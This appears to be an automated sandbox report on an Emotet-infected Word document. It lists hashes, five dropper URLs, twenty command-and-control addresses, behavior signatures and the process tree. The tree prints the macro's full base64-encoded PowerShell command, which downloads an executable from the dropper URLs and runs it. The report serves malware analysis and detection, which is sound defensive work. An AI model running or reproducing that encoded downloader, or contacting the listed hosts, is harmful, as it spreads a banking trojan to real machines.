Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14/08/2020, 22:10

Sharing

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General

  • Target
    emotet_e3_a64e56f29cbceb33000518da46490dd4d3967f25677ff36977191a05df6653ce_2020-08-14__220835._doc.doc
  • Size 233KB
  • Sample200814-cmp28pg296
  • SHA256 a64e56f29cbceb33000518da46490dd4d3967f25677ff36977191a05df6653ce
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://kndesign.com.br/wwvv2/wPxxj0v53027676/
  • exe.dropper

    http://load.studio/wp-admin/fqmCvt/
  • exe.dropper

    http://melangefresh.com/partner/9lg91006/
  • exe.dropper

    http://cengizgulec.com/wp-admin/wmZHHHARm/
  • exe.dropper

    http://www.skydiarynepal.org/wp-admin/HWGaf/

Extracted

Family

  • emotet

C2

  • 71.57.180.213:80

  • 185.86.148.68:443

  • 168.235.82.183:8080

  • 181.113.229.139:443

  • 181.134.9.162:80

  • 217.199.160.224:8080

  • 105.209.235.113:8080

  • 216.75.37.196:8080

  • 97.104.107.190:80

  • 203.153.216.182:7080

  • 107.161.30.122:8080

  • 41.106.96.12:80

  • 202.5.47.71:80

  • 201.235.10.215:80

  • 105.213.67.88:80

  • 115.79.195.246:80

  • 179.5.118.12:80

  • 212.112.113.235:80

  • 139.59.12.63:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a64e56f29cbceb33000518da46490dd4d3967f25677ff36977191a05df6653ce_2020-08-14__220835._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1272
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAGMAdgB3AGYAbQBmAD0AJwBZAHoAagB5ADgAbQBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAUgBpAHQAWQBwAFIATwBgAFQATwBgAGMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAGUAagBzAF8AOAAwACAAPQAgACcATQBnAG8AYgAnADsAJABGAGkAegBvAG4AYQBoAD0AJwBVAG4AOQBpAHEAbAByACcAOwAkAEIAaABkAGgANAA1AGoAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVAGUAagBzAF8AOAAwACsAJwAuAGUAeABlACcAOwAkAFUAeQBsADEAYgAwAGkAPQAnAFAAdwBjAHEAMwAzAGkAJwA7ACQAVwB0AGEAZQB2AGwAcAA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBlAE4AdAA7ACQARgB4AF8AMAAxAGEANgA9ACcAaAB0AHQAcAA6AC8ALwBrAG4AZABlAHMAaQBnAG4ALgBjAG8AbQAuAGIAcgAvAHcAdwB2AHYAMgAvAHcAUAB4AHgAagAwAHYANQAzADAAMgA3ADYANwA2AC8AKgBoAHQAdABwADoALwAvAGwAbwBhAGQALgBzAHQAdQBkAGkAbwAvAHcAcAAtAGEAZABtAGkAbgAvAGYAcQBtAEMAdgB0AC8AKgBoAHQAdABwADoALwAvAG0AZQBsAGEAbgBnAGUAZgByAGUAcwBoAC4AYwBvAG0ALwBwAGEAcgB0AG4AZQByAC8AOQBsAGcAOQAxADAAMAA2AC8AKgBoAHQAdABwADoALwAvAGMAZQBuAGcAaQB6AGcAdQBsAGUAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwBtAFoASABIAEgAQQBSAG0ALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGsAeQBkAGkAYQByAHkAbgBlAHAAYQBsAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAFcARwBhAGYALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAdgBsAHEAbwBnAGoAPQAnAEUAdgBuAHYAMgBhAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAbwA1AGYAZgBuAGoAIABpAG4AIAAkAEYAeABfADAAMQBhADYAKQB7AHQAcgB5AHsAJABXAHQAYQBlAHYAbABwAC4AIgBEAG8AVwBOAGwATwBgAEEARABmAEkAYABsAEUAIgAoACQARQBvADUAZgBmAG4AagAsACAAJABCAGgAZABoADQANQBqACkAOwAkAFcAawB6AHcAaQBuAG0APQAnAFoAdgA1ADMAMAAyADUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABCAGgAZABoADQANQBqACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAyADAAMgAxADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAQgBoAGQAaAA0ADUAagApADsAJABNAG8ANwBfAGIAegB3AD0AJwBFAHUAcgB3AHkAbgB1ACcAOwBiAHIAZQBhAGsAOwAkAEwAdwByAGMAeABpAHMAPQAnAEIAcQA0AG4AcgBnAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgByAGoAeABtAHcANAA9ACcAQwBoAGIANQA3AHgAbAAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1044
    • C:\Users\Admin\AppData\Local\Temp\Mgob.exe
      "C:\Users\Admin\AppData\Local\Temp\Mgob.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1772
      • C:\Windows\SysWOW64\mtstocom\EhStorPwdMgr.exe
        "C:\Windows\SysWOW64\mtstocom\EhStorPwdMgr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1564

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1044-9-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1044-15-0x000000001AE90000-0x000000001AE91000-memory.dmp
        Download

        memory/1044-10-0x000000001AFD0000-0x000000001AFD1000-memory.dmp
        Download

        memory/1044-11-0x0000000002430000-0x0000000002431000-memory.dmp
        Download

        memory/1044-12-0x00000000024F0000-0x00000000024F1000-memory.dmp
        Download

        memory/1044-8-0x000007FEE9A40000-0x000007FEEA42C000-memory.dmp
        Download

        memory/1044-14-0x000000001C530000-0x000000001C531000-memory.dmp
        Download

        memory/1272-2-0x0000000008860000-0x0000000008864000-memory.dmp
        Download

        memory/1272-13-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1272-5-0x000000000BE50000-0x000000000BE54000-memory.dmp
        Download

        memory/1272-4-0x000000000ADD0000-0x000000000ADD4000-memory.dmp
        Download

        memory/1540-23-0x000007FEEF030000-0x000007FEEF2AA000-memory.dmp
        Download

        memory/1564-22-0x0000000000280000-0x000000000028C000-memory.dmp
        Download

        memory/1772-19-0x00000000003A0000-0x00000000003AC000-memory.dmp
        Download